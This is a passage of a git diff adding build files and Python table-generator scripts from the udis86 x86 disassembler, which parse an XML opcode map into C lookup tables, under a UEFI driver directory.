+clean-libtool: + -rm -rf .libs _libs +tags TAGS: + +ctags CTAGS: + +cscope cscopelist: + + +distdir: $(DISTFILES) + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done +check-am: all-am +check: check-am +all-am: Makefile +installdirs: +install: install-am +install-exec: install-exec-am +install-data: install-data-am +uninstall: uninstall-am + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-am +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." + -test -z "$(MAINTAINERCLEANFILES)" || rm -f $(MAINTAINERCLEANFILES) +clean: clean-am + +clean-am: clean-generic clean-libtool clean-local mostlyclean-am + +distclean: distclean-am + -rm -f Makefile +distclean-am: clean-am distclean-generic + +dvi: dvi-am + +dvi-am: + +html: html-am + +html-am: + +info: info-am + +info-am: + +install-data-am: + +install-dvi: install-dvi-am + +install-dvi-am: + +install-exec-am: + +install-html: install-html-am + +install-html-am: + +install-info: install-info-am + +install-info-am: + +install-man: + +install-pdf: install-pdf-am + +install-pdf-am: + +install-ps: install-ps-am + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-am + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-am + +mostlyclean-am: mostlyclean-generic mostlyclean-libtool + +pdf: pdf-am + +pdf-am: + +ps: ps-am + +ps-am: + +uninstall-am: + +.MAKE: install-am install-strip + +.PHONY: all all-am check check-am clean clean-generic clean-libtool \ + clean-local cscopelist-am ctags-am distclean distclean-generic \ + distclean-libtool distdir dvi dvi-am html html-am info info-am \ + install install-am install-data install-data-am install-dvi \ + install-dvi-am install-exec install-exec-am install-html \ + install-html-am install-info install-info-am install-man \ + install-pdf install-pdf-am install-ps install-ps-am \ + install-strip installcheck installcheck-am installdirs \ + maintainer-clean maintainer-clean-generic mostlyclean \ + mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ + tags-am uninstall uninstall-am + + +clean-local: + -rm -f *.pyc + -rm -f ud_asmtest* + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/UefiDriver/udis86/scripts/ud_itab.py b/UefiDriver/udis86/scripts/ud_itab.py new file mode 100644 index 0000000..b17fe69 --- /dev/null +++ b/UefiDriver/udis86/scripts/ud_itab.py @@ -0,0 +1,369 @@ +# udis86 - scripts/ud_itab.py +# +# Copyright (c) 2009, 2013 Vivek Thampi +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +import os +import sys +import ud_optable +import ud_opcode + +class UdItabGenerator( ud_opcode.UdOpcodeTables ): + + OperandDict = { + "Av" : [ "OP_A" , "SZ_V" ], + "E" : [ "OP_E" , "SZ_NA" ], + "Eb" : [ "OP_E" , "SZ_B" ], + "Ew" : [ "OP_E" , "SZ_W" ], + "Ev" : [ "OP_E" , "SZ_V" ], + "Ed" : [ "OP_E" , "SZ_D" ], + "Ey" : [ "OP_E" , "SZ_Y" ], + "Eq" : [ "OP_E" , "SZ_Q" ], + "Ez" : [ "OP_E" , "SZ_Z" ], + "Fv" : [ "OP_F" , "SZ_V" ], + "G" : [ "OP_G" , "SZ_NA" ], + "Gb" : [ "OP_G" , "SZ_B" ], + "Gw" : [ "OP_G" , "SZ_W" ], + "Gv" : [ "OP_G" , "SZ_V" ], + "Gy" : [ "OP_G" , "SZ_Y" ], + "Gd" : [ "OP_G" , "SZ_D" ], + "Gq" : [ "OP_G" , "SZ_Q" ], + "Gz" : [ "OP_G" , "SZ_Z" ], + "M" : [ "OP_M" , "SZ_NA" ], + "Mb" : [ "OP_M" , "SZ_B" ], + "Mw" : [ "OP_M" , "SZ_W" ], + "Ms" : [ "OP_M" , "SZ_W" ], + "Md" : [ "OP_M" , "SZ_D" ], + "Mq" : [ "OP_M" , "SZ_Q" ], + "Mv" : [ "OP_M" , "SZ_V" ], + "Mt" : [ "OP_M" , "SZ_T" ], + "Mo" : [ "OP_M" , "SZ_O" ], + "MbRd" : [ "OP_MR" , "SZ_BD" ], + "MbRv" : [ "OP_MR" , "SZ_BV" ], + "MwRv" : [ "OP_MR" , "SZ_WV" ], + "MwRd" : [ "OP_MR" , "SZ_WD" ], + "MwRy" : [ "OP_MR" , "SZ_WY" ], + "MdRy" : [ "OP_MR" , "SZ_DY" ], + "I1" : [ "OP_I1" , "SZ_NA" ], + "I3" : [ "OP_I3" , "SZ_NA" ], + "Ib" : [ "OP_I" , "SZ_B" ], + "Iw" : [ "OP_I" , "SZ_W" ], + "Iv" : [ "OP_I" , "SZ_V" ], + "Iz" : [ "OP_I" , "SZ_Z" ], + "sIb" : [ "OP_sI" , "SZ_B" ], + "sIz" : [ "OP_sI" , "SZ_Z" ], + "sIv" : [ "OP_sI" , "SZ_V" ], + "Jv" : [ "OP_J" , "SZ_V" ], + "Jz" : [ "OP_J" , "SZ_Z" ], + "Jb" : [ "OP_J" , "SZ_B" ], + "R" : [ "OP_R" , "SZ_RDQ" ], + "C" : [ "OP_C" , "SZ_NA" ], + "D" : [ "OP_D" , "SZ_NA" ], + "S" : [ "OP_S" , "SZ_NA" ], + "Ob" : [ "OP_O" , "SZ_B" ], + "Ow" : [ "OP_O" , "SZ_W" ], + "Ov" : [ "OP_O" , "SZ_V" ], + "U" : [ "OP_U" , "SZ_O" ], + "V" : [ "OP_V" , "SZ_O" ], + "MwU" : [ "OP_MU" , "SZ_WO" ], + "MdU" : [ "OP_MU" , "SZ_DO" ], + "MqU" : [ "OP_MU" , "SZ_QO" ], + "W" : [ "OP_W" , "SZ_O" ], + "N" : [ "OP_N" , "SZ_Q" ], + "P" : [ "OP_P" , "SZ_Q" ], + "Q" : [ "OP_Q" , "SZ_Q" ], + "AL" : [ "OP_AL" , "SZ_B" ], + "AX" : [ "OP_AX" , "SZ_W" ], + "eAX" : [ "OP_eAX" , "SZ_Z" ], + "rAX" : [ "OP_rAX" , "SZ_V" ], + "CL" : [ "OP_CL" , "SZ_B" ], + "CX" : [ "OP_CX" , "SZ_W" ], + "eCX" : [ "OP_eCX" , "SZ_Z" ], + "rCX" : [ "OP_rCX" , "SZ_V" ], + "DL" : [ "OP_DL" , "SZ_B" ], + "DX" : [ "OP_DX" , "SZ_W" ], + "eDX" : [ "OP_eDX" , "SZ_Z" ], + "rDX" : [ "OP_rDX" , "SZ_V" ], + "R0b" : [ "OP_R0" , "SZ_B" ], + "R1b" : [ "OP_R1" , "SZ_B" ], + "R2b" : [ "OP_R2" , "SZ_B" ], + "R3b" : [ "OP_R3" , "SZ_B" ], + "R4b" : [ "OP_R4" , "SZ_B" ], + "R5b" : [ "OP_R5" , "SZ_B" ], + "R6b" : [ "OP_R6" , "SZ_B" ], + "R7b" : [ "OP_R7" , "SZ_B" ], + "R0w" : [ "OP_R0" , "SZ_W" ], + "R1w" : [ "OP_R1" , "SZ_W" ], + "R2w" : [ "OP_R2" , "SZ_W" ], + "R3w" : [ "OP_R3" , "SZ_W" ], + "R4w" : [ "OP_R4" , "SZ_W" ], + "R5w" : [ "OP_R5" , "SZ_W" ], + "R6w" : [ "OP_R6" , "SZ_W" ], + "R7w" : [ "OP_R7" , "SZ_W" ], + "R0v" : [ "OP_R0" , "SZ_V" ], + "R1v" : [ "OP_R1" , "SZ_V" ], + "R2v" : [ "OP_R2" , "SZ_V" ], + "R3v" : [ "OP_R3" , "SZ_V" ], + "R4v" : [ "OP_R4" , "SZ_V" ], + "R5v" : [ "OP_R5" , "SZ_V" ], + "R6v" : [ "OP_R6" , "SZ_V" ], + "R7v" : [ "OP_R7" , "SZ_V" ], + "R0z" : [ "OP_R0" , "SZ_Z" ], + "R1z" : [ "OP_R1" , "SZ_Z" ], + "R2z" : [ "OP_R2" , "SZ_Z" ], + "R3z" : [ "OP_R3" , "SZ_Z" ], + "R4z" : [ "OP_R4" , "SZ_Z" ], + "R5z" : [ "OP_R5" , "SZ_Z" ], + "R6z" : [ "OP_R6" , "SZ_Z" ], + "R7z" : [ "OP_R7" , "SZ_Z" ], + "R0y" : [ "OP_R0" , "SZ_Y" ], + "R1y" : [ "OP_R1" , "SZ_Y" ], + "R2y" : [ "OP_R2" , "SZ_Y" ], + "R3y" : [ "OP_R3" , "SZ_Y" ], + "R4y" : [ "OP_R4" , "SZ_Y" ], + "R5y" : [ "OP_R5" , "SZ_Y" ], + "R6y" : [ "OP_R6" , "SZ_Y" ], + "R7y" : [ "OP_R7" , "SZ_Y" ], + "ES" : [ "OP_ES" , "SZ_NA" ], + "CS" : [ "OP_CS" , "SZ_NA" ], + "DS" : [ "OP_DS" , "SZ_NA" ], + "SS" : [ "OP_SS" , "SZ_NA" ], + "GS" : [ "OP_GS" , "SZ_NA" ], + "FS" : [ "OP_FS" , "SZ_NA" ], + "ST0" : [ "OP_ST0" , "SZ_NA" ], + "ST1" : [ "OP_ST1" , "SZ_NA" ], + "ST2" : [ "OP_ST2" , "SZ_NA" ], + "ST3" : [ "OP_ST3" , "SZ_NA" ], + "ST4" : [ "OP_ST4" , "SZ_NA" ], + "ST5" : [ "OP_ST5" , "SZ_NA" ], + "ST6" : [ "OP_ST6" , "SZ_NA" ], + "ST7" : [ "OP_ST7" , "SZ_NA" ], + "NONE" : [ "OP_NONE" , "SZ_NA" ], + } + + # + # opcode prefix dictionary + # + PrefixDict = { + "rep" : "P_str", + "repz" : "P_strz", + "aso" : "P_aso", + "oso" : "P_oso", + "rexw" : "P_rexw", + "rexb" : "P_rexb", + "rexx" : "P_rexx", + "rexr" : "P_rexr", + "seg" : "P_seg", + "inv64" : "P_inv64", + "def64" : "P_def64", + "cast" : "P_cast", + } + + InvalidEntryIdx = 0 + InvalidEntry = { 'type' : 'invalid', + 'mnemonic' : 'invalid', + 'operands' : '', + 'prefixes' : '', + 'meta' : '' } + + Itab = [] # instruction table + ItabIdx = 1 # instruction table index + GtabIdx = 0 # group table index + GtabMeta = [] + + ItabLookup = {} + + MnemonicAliases = ( "invalid", "3dnow", "none", "db", "pause" ) + + def __init__( self ): + # first itab entry (0) is Invalid + self.Itab.append( self.InvalidEntry ) + self.MnemonicsTable.extend( self.MnemonicAliases ) + + def toGroupId( self, id ): + return 0x8000 | id + + def genLookupTable( self, table, scope = '' ): + idxArray = [ ] + ( tabIdx, self.GtabIdx ) = ( self.GtabIdx, self.GtabIdx + 1 ) + self.GtabMeta.append( { 'type' : table[ 'type' ], 'meta' : table[ 'meta' ] } ) + + for _idx in range( self.sizeOfTable( table[ 'type' ] ) ): + idx = "%02x" % _idx + + e = self.InvalidEntry + i = self.InvalidEntryIdx + + if idx in table[ 'entries' ].keys(): + e = table[ 'entries' ][ idx ] + + # leaf node (insn) + if e[ 'type' ] == 'insn': + ( i, self.ItabIdx ) = ( self.ItabIdx, self.ItabIdx + 1 ) + self.Itab.append( e ) + elif e[ 'type' ] != 'invalid': + i = self.genLookupTable( e, 'static' ) + + idxArray.append( i ) + + name = "ud_itab__%s" % tabIdx + self.ItabLookup[ tabIdx ] = name + + self.ItabC.write( "\n" ); + if len( scope ): + self.ItabC.write( scope + ' ' ) + self.ItabC.write( "const uint16_t %s[] = {\n" % name ) + for i in range( len( idxArray ) ): + if i > 0 and i % 4 == 0: + self.ItabC.write( "\n" ) + if ( i%4 == 0 ): + self.ItabC.write( " /* %2x */" % i) + if idxArray[ i ] >= 0x8000: + self.ItabC.write( "%12s," % ("GROUP(%d)" % ( ~0x8000 & idxArray[ i ] ))) + else: + self.ItabC.write( "%12d," % ( idxArray[ i ] )) + self.ItabC.write( "\n" ) + self.ItabC.write( "};\n" ) + + return self.toGroupId( tabIdx ) + + def genLookupTableList( self ): + self.ItabC.write( "\n\n" ); + self.ItabC.write( "struct ud_lookup_table_list_entry ud_lookup_table_list[] = {\n" ) + for i in range( len( self.GtabMeta ) ): + f0 = self.ItabLookup[ i ] + "," + f1 = ( self.nameOfTable( self.GtabMeta[ i ][ 'type' ] ) ) + "," + f2 = "\"%s\"" % self.GtabMeta[ i ][ 'meta' ] + self.ItabC.write( " /* %03d */ { %s %s %s },\n" % ( i, f0, f1, f2 ) ) + self.ItabC.write( "};" ) + + def genInsnTable( self ): + self.ItabC.write( "struct ud_itab_entry ud_itab[] = {\n" ); + idx = 0 + for e in self.Itab: + opr_c = [ "O_NONE", "O_NONE", "O_NONE" ] + pfx_c = [] + opr = e[ 'operands' ] + for i in range(len(opr)): + if not (opr[i] in self.OperandDict.keys()): + print("error: invalid operand declaration: %s\n" % opr[i]) + opr_c[i] = "O_" + opr[i] + opr = "%s %s %s" % (opr_c[0] + ",", opr_c[1] + ",", opr_c[2]) + + for p in e['prefixes']: + if not ( p in self.PrefixDict.keys() ): + print("error: invalid prefix specification: %s \n" % pfx) + pfx_c.append( self.PrefixDict[p] ) + if len(e['prefixes']) == 0: + pfx_c.append( "P_none" ) + pfx = "|".join( pfx_c ) + + self.ItabC.write( " /* %04d */ { UD_I%s %s, %s },\n" \ + % ( idx, e[ 'mnemonic' ] + ',', opr, pfx ) ) + idx += 1 + self.ItabC.write( "};\n" ) + + self.ItabC.write( "\n\n" ); + self.ItabC.write( "const char * ud_mnemonics_str[] = {\n" ) + self.ItabC.write( ",\n ".join( [ "\"%s\"" % m for m in self.MnemonicsTable ] ) ) + self.ItabC.write( "\n};\n" ) + + + def genItabH( self, filePath ): + self.ItabH = open( filePath, "w" ) + + # Generate Table Type Enumeration + self.ItabH.write( "#ifndef UD_ITAB_H\n" ) + self.ItabH.write( "#define UD_ITAB_H\n\n" ) + + self.ItabH.write("/* itab.h -- generated by udis86:scripts/ud_itab.py, do no edit */\n\n") + + # table type enumeration + self.ItabH.write( "/* ud_table_type -- lookup table types (see decode.c) */\n" ) + self.ItabH.write( "enum ud_table_type {\n " ) + enum = [ self.TableInfo[ k ][ 'name' ] for k in self.TableInfo.keys() ] + self.ItabH.write( ",\n ".join( enum ) ) + self.ItabH.write( "\n};\n\n" ); + + # mnemonic enumeration + self.ItabH.write( "/* ud_mnemonic -- mnemonic constants */\n" ) + enum = "enum ud_mnemonic_code {\n " + enum += ",\n ".join( [ "UD_I%s" % m for m in self.MnemonicsTable ] ) + enum += ",\n UD_MAX_MNEMONIC_CODE" + enum += "\n} UD_ATTR_PACKED;\n" + self.ItabH.write( enum ) + self.ItabH.write( "\n" ) + + self.ItabH.write( "extern const char * ud_mnemonics_str[];\n" ) + + self.ItabH.write( "\n#endif /* UD_ITAB_H */\n" ) + + self.ItabH.close() + + + def genItabC( self, filePath ): + self.ItabC = open( filePath, "w" ) + self.ItabC.write( "/* itab.c -- generated by udis86:scripts/ud_itab.py, do no edit" ) + self.ItabC.write( " */\n" ); + self.ItabC.write( "#include \"decode.h\"\n\n" ); + + self.ItabC.write( "#define GROUP(n) (0x8000 | (n))\n\n" ) + + self.genLookupTable( self.OpcodeTable0 ) + self.genLookupTableList() + + # + # Macros defining short-names for operands + # + self.ItabC.write("\n\n/* itab entry operand definitions (for readability) */\n"); + operands = self.OperandDict.keys() + operands = sorted(operands) + for o in operands: + self.ItabC.write("#define O_%-7s { %-12s %-8s }\n" % + (o, self.OperandDict[o][0] + ",", self.OperandDict[o][1])); + self.ItabC.write("\n"); + + self.genInsnTable() + + self.ItabC.close() + + def genItab( self, location ): + self.genItabC(os.path.join(location, "itab.c")) + self.genItabH(os.path.join(location, "itab.h")) + +def usage(): + print("usage: ud_itab.py ") + +def main(): + + if len(sys.argv) != 3: + usage() + sys.exit(1) + + generator = UdItabGenerator() + optableXmlParser = ud_optable.UdOptableXmlParser() + optableXmlParser.parse( sys.argv[ 1 ], generator.addInsnDef ) + generator.genItab(sys.argv[2]) + +if __name__ == '__main__': + main() diff --git a/UefiDriver/udis86/scripts/ud_opcode.py b/UefiDriver/udis86/scripts/ud_opcode.py new file mode 100644 index 0000000..70cd226 --- /dev/null +++ b/UefiDriver/udis86/scripts/ud_opcode.py @@ -0,0 +1,243 @@ +# udis86 - scripts/ud_opcode.py +# +# Copyright (c) 2009 Vivek Thampi +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +class UdOpcodeTables: + + TableInfo = { + 'opctbl' : { 'name' : 'UD_TAB__OPC_TABLE', 'size' : 256 }, + '/sse' : { 'name' : 'UD_TAB__OPC_SSE', 'size' : 4 }, + '/reg' : { 'name' : 'UD_TAB__OPC_REG', 'size' : 8 }, + '/rm' : { 'name' : 'UD_TAB__OPC_RM', 'size' : 8 }, + '/mod' : { 'name' : 'UD_TAB__OPC_MOD', 'size' : 2 }, + '/m' : { 'name' : 'UD_TAB__OPC_MODE', 'size' : 2 }, + '/x87' : { 'name' : 'UD_TAB__OPC_X87', 'size' : 64 }, + '/a' : { 'name' : 'UD_TAB__OPC_ASIZE', 'size' : 3 }, + '/o' : { 'name' : 'UD_TAB__OPC_OSIZE', 'size' : 3 }, + '/3dnow' : { 'name' : 'UD_TAB__OPC_3DNOW', 'size' : 256 }, + 'vendor' : { 'name' : 'UD_TAB__OPC_VENDOR', 'size' : 3 }, + '/vex.p' : { 'name' : 'UD_TAB__OPC_VEX_P', 'size' : 4 }, + '/vex.m' : { 'name' : 'UD_TAB__OPC_VEX_M', 'size' : 3 }, + } + + OpcodeTable0 = { + 'type' : 'opctbl', + 'entries' : {}, + 'meta' : 'table0' + } + + OpcExtIndex = { + + # ssef2, ssef3, sse66 + 'sse': { + 'none' : '00', + 'f2' : '01', + 'f3' : '02', + '66' : '03' + }, + + # /mod= + 'mod': { + '!11' : '00', + '11' : '01' + }, + + # /m=, /o=, /a= + 'mode': { + '16' : '00', + '32' : '01', + '64' : '02' + }, + + 'vendor' : { + 'amd' : '00', + 'intel' : '01', + 'any' : '02' + }, + + 'vex.p': { + 'none' : '00', + 'f2' : '01', + 'f3' : '02', + '66' : '03' + }, + + 'vex.m': { + 'none' : '00', + '38' : '01', + '3a' : '02', + }, + + + } + + InsnTable = [] + MnemonicsTable = [] + + def sizeOfTable( self, t ): + return self.TableInfo[ t ][ 'size' ] + + def nameOfTable( self, t ): + return self.TableInfo[ t ][ 'name' ] + + # + # Updates a table entry: If the entry doesn't exist + # it will create the entry, otherwise, it will walk + # while validating the path. + # + def updateTable( self, table, index, type, meta ): + if not index in table[ 'entries' ]: + table[ 'entries' ][ index ] = { 'type' : type, 'entries' : {}, 'meta' : meta } + if table[ 'entries' ][ index ][ 'type' ] != type: + raise NameError( "error: violation in opcode mapping (overwrite) %s with %s." % + ( table[ 'entries' ][ index ], type) ) + return table[ 'entries' ][ index ] + + class Insn: + """An abstract type representing an instruction in the opcode map. + """ + + # A mapping of opcode extensions to their representational + # values used in the opcode map. + OpcExtMap = { + '/rm' : lambda v: "%02x" % int(v, 16), + '/x87' : lambda v: "%02x" % int(v, 16), + '/3dnow' : lambda v: "%02x" % int(v, 16), + '/reg' : lambda v: "%02x" % int(v, 16), + # modrm.mod + # (!11, 11) => (00, 01) + '/mod' : lambda v: '00' if v == '!11' else '01', + # Mode extensions: + # (16, 32, 64) => (00, 01, 02) + '/o' : lambda v: "%02x" % (int(v) / 32), + '/a' : lambda v: "%02x" % (int(v) / 32), + '/m' : lambda v: '00' if v == '!64' else '01', + # SSE + '/sse' : lambda v: UdOpcodeTables.OpcExtIndex['sse'][v], + # AVX + '/vex.p' : lambda v: UdOpcodeTables.OpcExtIndex['vex.p'][v], + '/vex.m' : lambda v: UdOpcodeTables.OpcExtIndex['vex.m'][v] + } + + def __init__(self, prefixes, mnemonic, opcodes, operands, vendor): + self.opcodes = [] + self.prefixes = prefixes + self.mnemonic = mnemonic + self.operands = operands + self.vendor = vendor + self.opcext = {} + + # artificially add a /sse=none for 2 byte opcodes + if opcodes[0] == '0f' and opcodes[1] != '0f': + opcodes.append('/sse=none') + + # begin the list with all plain opcodes + for opc in opcodes: + if not opc.startswith('/'): + self.opcodes.append(opc) + + # re-order vex/xop prefixes to follow vex opcode + if self.opcodes[0] == 'c4' or self.opcodes[0] == 'c5': + for opc in opcodes: + if opc.startswith('/vex'): + self.opcodes.insert(1, opc) + + # Add extensions. The order is important, and determines how + # well the opcode table is packed. Also note, /sse must be + # before /o, because /sse may consume operand size prefix + # affect the outcome of /o. + for ext in ('/mod', '/x87', '/reg', '/rm', '/sse', + '/o', '/a', '/m', '/3dnow'): + for opc in opcodes: + if opc.startswith(ext): + self.opcodes.append(opc) + + def parse(self, table, insn): + # Walk down the tree, create levels as needed + assert not insn.opcodes[0].startswith("/") + index = insn.opcodes[0]; + for opc in insn.opcodes[1:]: + if opc.startswith('/'): + ext, v= opc.split('=') + table = self.updateTable(table, index, ext, ext) + index = insn.OpcExtMap[ext](v) + insn.opcext[ext] = index + else: + table = self.updateTable(table, index, 'opctbl', index) + index = opc + + # additional table for disambiguating vendor + if len(insn.vendor): + table = self.updateTable(table, index, 'vendor', insn.vendor) + index = self.OpcExtIndex['vendor'][insn.vendor] + + # make leaf node entries + leaf = self.updateTable(table, index, 'insn', '') + + leaf['mnemonic'] = insn.mnemonic + leaf['prefixes'] = insn.prefixes + leaf['operands'] = insn.operands + + # add instruction to linear table of instruction forms + self.InsnTable.append({ 'prefixes' : insn.prefixes, + 'mnemonic' : insn.mnemonic, + 'operands' : insn.operands, + 'vendor' : insn.vendor, + 'opcext' : insn.opcext, + 'opcodes' : insn.opcodes }) + + # add mnemonic to mnemonic table + if not insn.mnemonic in self.MnemonicsTable: + self.MnemonicsTable.append(insn.mnemonic) + + + # Adds an instruction definition to the opcode tables + def addInsnDef( self, prefixes, mnemonic, opcodes, operands, vendor ): + insn = self.Insn(prefixes=prefixes, + mnemonic=mnemonic, + opcodes=opcodes, + operands=operands, + vendor=vendor) + try: + self.parse(self.OpcodeTable0, insn) + except: + self.print_tree() + raise + + def print_table( self, table, pfxs ): + print("%s |" % pfxs) + keys = table[ 'entries' ].keys() + if ( len( keys ) ): + keys.sort() + for idx in keys: + e = table[ 'entries' ][ idx ] + if e[ 'type' ] == 'insn': + print("%s |-<%s>" % ( pfxs, idx )), + print("%s %s" % ( e[ 'mnemonic' ], ' '.join( e[ 'operands'] ) )) + else: + print("%s |-<%s> %s" % ( pfxs, idx, e['type'] )) + self.print_table( e, pfxs + ' |' ) + + def print_tree( self ): + self.print_table( self.OpcodeTable0, '' ) diff --git a/UefiDriver/udis86/scripts/ud_optable.py b/UefiDriver/udis86/scripts/ud_optable.py new file mode 100644 index 0000000..e9e0b53 --- /dev/null +++ b/UefiDriver/udis86/scripts/ud_optable.py @@ -0,0 +1,100 @@ +# udis86 - scripts/ud_optable.py (optable.xml parser) +# +# Copyright (c) 2009 Vivek Thampi +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +import os +import sys +from xml.dom import minidom + +class UdOptableXmlParser: + + def parseDef( self, node ): + ven = '' + pfx = [] + opc = [] + opr = [] + for def_node in node.childNodes: + if not def_node.localName: + continue + if def_node.localName == 'pfx': + pfx = def_node.firstChild.data.split(); + elif def_node.localName == 'opc': + opc = def_node.firstChild.data.split(); + elif def_node.localName == 'opr': + opr = def_node.firstChild.data.split(); + elif def_node.localName == 'mode': + pfx.extend( def_node.firstChild.data.split() ); + elif def_node.localName == 'syn': + pfx.extend( def_node.firstChild.data.split() ); + elif def_node.localName == 'vendor': + ven = ( def_node.firstChild.data ); + return ( pfx, opc, opr, ven ) + + def parse( self, xml, fn ): + xmlDoc = minidom.parse( xml ) + self.TlNode = xmlDoc.firstChild + + while self.TlNode and self.TlNode.localName != "x86optable": + self.TlNode = self.TlNode.nextSibling + + for insnNode in self.TlNode.childNodes: + if not insnNode.localName: + continue + if 